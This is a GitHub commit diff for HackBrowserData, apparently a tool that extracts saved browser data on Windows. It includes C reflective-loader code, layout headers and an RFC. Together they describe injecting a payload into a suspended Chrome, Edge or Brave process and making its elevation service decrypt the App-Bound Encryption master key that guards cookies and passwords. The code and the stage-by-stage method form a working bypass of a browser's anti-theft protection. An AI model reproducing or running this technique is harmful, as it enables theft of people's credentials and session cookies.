fix(windows): harden the ABE payload injection lifecycle (#638)

* fix(windows): harden the ABE payload injection lifecycle

The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it.

* test(windows): use US spelling in offset test

* fix(windows): validate bootstrap parameter encoding
This commit is contained in:
slimwang authored and GitHub committed 2026-08-25 15:53:57 +08:00
1 parent da18dbc29f
commit 8c89ac72dd
10 files changed
+389 -234

No files matched your search

+2 -1
View File
@@ -17,7 +17,8 @@ ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \
$(ABE_SRC_DIR)/bootstrap.c $(ABE_SRC_DIR)/bootstrap.c
ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \ ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \
$(ABE_SRC_DIR)/bootstrap.h $(ABE_SRC_DIR)/bootstrap.h \
$(ABE_SRC_DIR)/bootstrap_layout.h
$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS) $(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS)
@mkdir -p $(ABE_BIN_DIR) @mkdir -p $(ABE_BIN_DIR)
+37 -36
View File
@@ -19,8 +19,8 @@ typedef struct {
pfn_NtFlushInstructionCache NtFlushInstructionCache; pfn_NtFlushInstructionCache NtFlushInstructionCache;
} resolved_imports; } resolved_imports;
#define MARK(imgBase, step) do { \ #define MARK(scratchBase, step) do { \
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \ *(volatile BYTE *)((BYTE *)(scratchBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
} while (0) } while (0)
// noinline is load-bearing: if this gets inlined into Bootstrap, // noinline is load-bearing: if this gets inlined into Bootstrap,
@@ -53,24 +53,25 @@ static ULONG_PTR locate_own_image_base(void)
return 0; return 0;
} }
// read_preresolved_imports pulls the five function pointers the Go injector // read_bootstrap_params pulls the scratch pointer and function pointers from
// patched into the payload's DOS stub (see patchPreresolvedImports on the // the remote thread parameter block written by the Go injector. The target
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub // process is created by us and kept suspended, so passing explicit parameters
// mismatch between C and Go. // is clearer than re-discovering imports from the PEB or patching the DOS stub.
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out) static BOOL read_bootstrap_params(LPVOID lpParameter, resolved_imports *out,
ULONG_PTR *outScratchBase)
{ {
out->LoadLibraryA = if (!lpParameter) return FALSE;
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
out->GetProcAddress =
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
out->VirtualAlloc =
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
out->VirtualProtect =
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
out->NtFlushInstructionCache =
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc && BootstrapParams *params = (BootstrapParams *)lpParameter;
*outScratchBase = params->scratch_base;
out->LoadLibraryA = (pfn_LoadLibraryA)params->LoadLibraryA;
out->GetProcAddress = (pfn_GetProcAddress)params->GetProcAddress;
out->VirtualAlloc = (pfn_VirtualAlloc)params->VirtualAlloc;
out->VirtualProtect = (pfn_VirtualProtect)params->VirtualProtect;
out->NtFlushInstructionCache =
(pfn_NtFlushInstructionCache)params->NtFlushInstructionCache;
return *outScratchBase && out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
out->VirtualProtect && out->NtFlushInstructionCache; out->VirtualProtect && out->NtFlushInstructionCache;
} }
@@ -146,8 +147,8 @@ static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
} }
// link_iat resolves the Import Address Table for each DLL the payload // link_iat resolves the Import Address Table for each DLL the payload
// references, using the pre-resolved LoadLibraryA + GetProcAddress the // references, using the LoadLibraryA + GetProcAddress pointers the Go injector
// Go injector patched in. // passes in the BootstrapParams block.
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
const resolved_imports *imp) const resolved_imports *imp)
{ {
@@ -211,9 +212,8 @@ static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
} }
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH. // invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
// lpReserved carries the original raw-image base so DllMain (= the ABE // lpReserved carries the standalone scratch base so DllMain (= the ABE
// extractor entry) can write the decrypted key back into the scratch // extractor entry) can write the decrypted key where the Go injector reads.
// region the Go injector reads.
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
ULONG_PTR scratchBase) ULONG_PTR scratchBase)
{ {
@@ -227,37 +227,38 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
{ {
ULONG_PTR imageBase = locate_own_image_base(); ULONG_PTR imageBase = locate_own_image_base();
if (imageBase == 0) return 0; if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
resolved_imports imp; resolved_imports imp;
if (!read_preresolved_imports(imageBase, &imp)) { ULONG_PTR scratchBase = 0;
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS); if (!read_bootstrap_params(lpParameter, &imp, &scratchBase)) {
if (scratchBase) MARK(scratchBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0; return 0;
} }
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK); MARK(scratchBase, BOOTSTRAP_MARK_MZ_FOUND);
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_OK);
PIMAGE_NT_HEADERS64 newNt; PIMAGE_NT_HEADERS64 newNt;
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt); BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
if (!newBase) { if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC); MARK(scratchBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0; return 0;
} }
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK); MARK(scratchBase, BOOTSTRAP_MARK_ALLOC_OK);
MARK(imageBase, BOOTSTRAP_MARK_COPIED); MARK(scratchBase, BOOTSTRAP_MARK_COPIED);
apply_base_relocations(newBase, newNt); apply_base_relocations(newBase, newNt);
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED); MARK(scratchBase, BOOTSTRAP_MARK_RELOCATED);
link_iat(newBase, newNt, &imp); link_iat(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED); MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
set_section_protections(newBase, newNt, &imp); set_section_protections(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS); MARK(scratchBase, BOOTSTRAP_MARK_PERMISSIONS);
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0); imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED); MARK(scratchBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase); ULONG_PTR result = invoke_dllmain(newBase, newNt, scratchBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE); MARK(scratchBase, BOOTSTRAP_MARK_DONE);
return result; return result;
} }
@@ -13,11 +13,13 @@ const (
KeyOffset = 0x40 KeyOffset = 0x40
KeyLen = 0x20 KeyLen = 0x20
ImpLoadLibraryAOffset = 0x40 ParamsSize = 0x30
ImpGetProcAddressOffset = 0x48 ParamScratchBase = 0x0
ImpVirtualAllocOffset = 0x50 ParamLoadLibraryA = 0x8
ImpVirtualProtectOffset = 0x58 ParamGetProcAddress = 0x10
ImpNtFlushICOffset = 0x60 ParamVirtualAlloc = 0x18
ParamVirtualProtect = 0x20
ParamNtFlushIC = 0x28
MarkMZFound = 0x2 MarkMZFound = 0x2
MarkImportsOK = 0x5 MarkImportsOK = 0x5
@@ -20,11 +20,13 @@ const (
KeyOffset = C.BOOTSTRAP_KEY_OFFSET KeyOffset = C.BOOTSTRAP_KEY_OFFSET
KeyLen = C.BOOTSTRAP_KEY_LEN KeyLen = C.BOOTSTRAP_KEY_LEN
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET ParamsSize = C.BOOTSTRAP_PARAMS_SIZE
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET ParamScratchBase = C.BOOTSTRAP_PARAM_SCRATCH_BASE
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET ParamLoadLibraryA = C.BOOTSTRAP_PARAM_LOAD_LIBRARY_A
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET ParamGetProcAddress = C.BOOTSTRAP_PARAM_GET_PROC_ADDRESS
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET ParamVirtualAlloc = C.BOOTSTRAP_PARAM_VIRTUAL_ALLOC
ParamVirtualProtect = C.BOOTSTRAP_PARAM_VIRTUAL_PROTECT
ParamNtFlushIC = C.BOOTSTRAP_PARAM_NT_FLUSH_IC
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
+26 -28
View File
@@ -6,11 +6,8 @@
// BootstrapScratch describes the IPC contract between the C payload running // BootstrapScratch describes the IPC contract between the C payload running
// inside the target browser process (chrome.exe, msedge.exe, brave.exe, etc.) // inside the target browser process (chrome.exe, msedge.exe, brave.exe, etc.)
// and the Go injector in our own process. It squats inside // and the Go injector in our own process. The injector allocates this as a
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS // standalone RW block in the target process and passes its address to Bootstrap.
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
// untouched so the PE loader can still find the NT headers.
// //
// This header is deliberately free of <windows.h> so cgo -godefs can read it // This header is deliberately free of <windows.h> so cgo -godefs can read it
// on macOS / Linux to regenerate the Go-side constants. // on macOS / Linux to regenerate the Go-side constants.
@@ -26,23 +23,19 @@ typedef struct __attribute__((packed)) BootstrapScratch {
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise) uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C uint8_t _reserved_34[0x40 - 0x34]; // 0x34..0x3F
uint8_t key[32]; // 0x40..0x5F
// 0x40..0x67: time-shared region
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
union {
struct {
uintptr_t LoadLibraryA; // 0x40
uintptr_t GetProcAddress; // 0x48
uintptr_t VirtualAlloc; // 0x50
uintptr_t VirtualProtect; // 0x58
uintptr_t NtFlushInstructionCache; // 0x60
} imports;
uint8_t key[32]; // 0x40..0x5F
} shared;
} BootstrapScratch; } BootstrapScratch;
typedef struct __attribute__((packed)) BootstrapParams {
uintptr_t scratch_base;
uintptr_t LoadLibraryA;
uintptr_t GetProcAddress;
uintptr_t VirtualAlloc;
uintptr_t VirtualProtect;
uintptr_t NtFlushInstructionCache;
} BootstrapParams;
// Byte offsets derived from the struct. These are the ONLY place raw numeric // Byte offsets derived from the struct. These are the ONLY place raw numeric
// offsets appear; every C and Go consumer uses these names (or the Go-side // offsets appear; every C and Go consumer uses these names (or the Go-side
// constants generated from them via cgo -godefs). // constants generated from them via cgo -godefs).
@@ -52,14 +45,18 @@ typedef struct __attribute__((packed)) BootstrapScratch {
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code) #define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult) #define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err) #define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key) #define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, key)
#define BOOTSTRAP_KEY_LEN 32 #define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA) // The Go injector serializes BootstrapParams by hand, so every field offset is generated
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress) // here too — adding or reordering a field then changes layout.go and breaks gen-layout-verify.
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc) #define BOOTSTRAP_PARAMS_SIZE sizeof(struct BootstrapParams)
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect) #define BOOTSTRAP_PARAM_SCRATCH_BASE offsetof(struct BootstrapParams, scratch_base)
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache) #define BOOTSTRAP_PARAM_LOAD_LIBRARY_A offsetof(struct BootstrapParams, LoadLibraryA)
#define BOOTSTRAP_PARAM_GET_PROC_ADDRESS offsetof(struct BootstrapParams, GetProcAddress)
#define BOOTSTRAP_PARAM_VIRTUAL_ALLOC offsetof(struct BootstrapParams, VirtualAlloc)
#define BOOTSTRAP_PARAM_VIRTUAL_PROTECT offsetof(struct BootstrapParams, VirtualProtect)
#define BOOTSTRAP_PARAM_NT_FLUSH_IC offsetof(struct BootstrapParams, NtFlushInstructionCache)
// Progress markers written by Bootstrap itself (enum-like, not offsets). // Progress markers written by Bootstrap itself (enum-like, not offsets).
#define BOOTSTRAP_MARK_MZ_FOUND 0x02 #define BOOTSTRAP_MARK_MZ_FOUND 0x02
@@ -94,7 +91,8 @@ _Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset"); _Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset"); _Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset"); _Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset"); _Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length"); _Static_assert(sizeof(((struct BootstrapScratch *)0)->key) == 32, "key length");
_Static_assert(sizeof(struct BootstrapParams) == 48, "bootstrap params size");
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H #endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
+53 -54
View File
@@ -1,13 +1,10 @@
# RFC-010: Chrome App-Bound Encryption Integration # RFC-010: Chrome App-Bound Encryption Integration
**Author**: moonD4rk **Author**: moonD4rk **Status**: Living Document **Created**: 2026-04-17 **Last updated**: 2026-04-19
**Status**: Living Document
**Created**: 2026-04-17
**Last updated**: 2026-04-19
## 1. Overview ## 1. Overview
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`). Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an _app-bound_ blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.** This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.**
@@ -19,13 +16,13 @@ Related RFCs:
### 1.1 Compatibility contract ### 1.1 Compatibility contract
| Component | Contract | | Component | Contract |
|---|---| | ------------- | -------------------------------------- |
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) | | Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) |
| Windows host | Any Win10 1909+ (PE loader + UCRT) | | Windows host | Any Win10 1909+ (PE loader + UCRT) |
| Chrome family | Any v127+ (ABE introduced) | | Chrome family | Any v127+ (ABE introduced) |
| zig toolchain | 0.13+ (for `make payload`) | | zig toolchain | 0.13+ (for `make payload`) |
| Target arch | x86_64 only (x86 / ARM64 reserved) | | Target arch | x86_64 only (x86 / ARM64 reserved) |
## 2. The constraint that shapes the design ## 2. The constraint that shapes the design
@@ -56,33 +53,38 @@ browser/chromium.Extract()
**Stage 2 — Payload preparation** (still our process) **Stage 2 — Payload preparation** (still our process)
1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB). 1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB).
2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4). 2. Prepare a remote Bootstrap parameter block with the scratch pointer and 5 × `uintptr` function pointers (see §4.4).
3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`. 3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`.
**Stage 3 — Spawn + inject** (still our process, target is newly spawned) **Stage 3 — Spawn + inject** (still our process, target is newly spawned)
``` ```
CreateProcessW(browser.exe, CREATE_SUSPENDED) CreateProcessW(browser.exe, CREATE_SUSPENDED)
VirtualAllocEx(target, RWX, sizeOf(payload)) VirtualAllocEx(target, RW, sizeOf(payload))
WriteProcessMemory(patched bytes) WriteProcessMemory(payload bytes)
ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init VirtualProtectEx(target, payload, RX)
CreateRemoteThread(target, remoteBase + bootstrapFileOffset) FlushInstructionCache(target, payload) // required before the region is executed
VirtualAllocEx(target, RW, sizeof(BootstrapScratch))
VirtualAllocEx(target, RW, sizeof(BootstrapParams))
CreateRemoteThread(target, remoteBase + bootstrapFileOffset, paramsBase)
``` ```
The browser's own primary thread is created suspended and never resumed — only our remote thread runs, so no Chromium UI is ever created and no `--user-data-dir` isolation is needed to survive `ProcessSingleton`. Process-wide loader init still happens, because the first thread to run in the process goes through `LdrInitializeThunk`.
**Stage 4 — Inside the remote `browser.exe`** **Stage 4 — Inside the remote `browser.exe`**
The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`: The remote thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
``` ```
Bootstrap → see §4.1 (7 helpers + orchestrator) Bootstrap → see §4.1 (7 helpers + orchestrator)
↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase) ↓ calls DllMain(DLL_PROCESS_ATTACH, scratchBase)
DoExtractKey → see §4.2 DoExtractKey → see §4.2
CoCreateInstance(CLSID, IID_v2 | fallback IID_v1) CoCreateInstance(CLSID, IID_v2 | fallback IID_v1)
CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE) CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)
vtbl[slot]->DecryptData(bstrEnc) vtbl[slot]->DecryptData(bstrEnc)
↓ COM RPC ↓ COM RPC
elevation_service (SYSTEM) → returns 32-byte plaintext key elevation_service (SYSTEM) → returns 32-byte plaintext key
publish_key() → imageBase[0x40..0x5F] (success) publish_key() → scratchBase[0x40..0x5F] (success)
publish_error(code, hr, comErr) (failure) publish_error(code, hr, comErr) (failure)
``` ```
@@ -105,16 +107,16 @@ Three translation units, ~500 lines of pure C. No C++, no assembly, no direct sy
Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**: Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**:
| Helper | Responsibility | | Helper | Responsibility |
|---|---| | --- | --- |
| `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) | | `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) |
| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) | | `read_bootstrap_params` | Read the standalone scratch pointer and 5 function pointers from the remote parameter block (§4.4) |
| `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections | | `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections |
| `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` | | `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` |
| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` | | `link_iat` | Resolve each imported DLL + fill IAT via parameter-supplied `LoadLibraryA` / `GetProcAddress` |
| `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` | | `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` |
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)` — `imageBase` is the scratch handoff pointer | | `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, scratchBase)` |
Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage. Progress markers: after each major step the orchestrator writes one byte to `scratchBase + BOOTSTRAP_MARKER_OFFSET` (0x28). The Go injector reads this back on failure to pinpoint the stage.
### 4.2 COM extractor — `abe_extractor.c` ### 4.2 COM extractor — `abe_extractor.c`
@@ -151,11 +153,11 @@ Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind`
Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork. Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork.
### 4.4 Pre-resolved imports (non-obvious design) ### 4.4 Bootstrap parameter block (non-obvious design)
The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction). The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction).
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing. Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/winapi/process_windows.go`) and writes those raw u64 values into a dedicated `BootstrapParams` block in the target process. `Bootstrap` reads the remote-thread parameter; no PEB walk, no export parsing, and no mutation of the payload bytes.
Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session. Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session.
@@ -166,8 +168,8 @@ Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32
Four files collaborate: Four files collaborate:
| File | Role | | File | Role |
|---|---| | --- | --- |
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `CreateRemoteThread`, `NtFlushIC`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. | | `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `VirtualProtectEx`, `CreateRemoteThread`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. |
| `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). | | `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). |
| `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. | | `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. |
| `arch_windows.go` | Architecture validation (amd64-only today). | | `arch_windows.go` | Architecture validation (amd64-only today). |
@@ -176,12 +178,12 @@ Four files collaborate:
### 5.2 Scratch layout codegen ### 5.2 Scratch layout codegen
The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift: The C payload and Go injector communicate through a byte-level protocol in a standalone RW scratch allocation inside the target process. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
```c ```c
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset"); _Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset"); _Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset"); _Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
``` ```
Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` can be run locally to verify the committed `layout.go` matches the current header. Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` can be run locally to verify the committed `layout.go` matches the current header.
@@ -205,14 +207,14 @@ On extraction success, logs at `Info` level (`abe: retrieved <browser> master ke
## 6. Build chain ## 6. Build chain
- **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI. - **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI.
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary. - **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary, so the payload is always built from the C sources in the same run and cannot go stale.
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. - **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. This also covers the `BootstrapParams` field offsets the Go injector serializes by hand.
- **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload. - **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload.
## 7. Impact on non-Windows contributors — zero ## 7. Impact on non-Windows contributors — zero
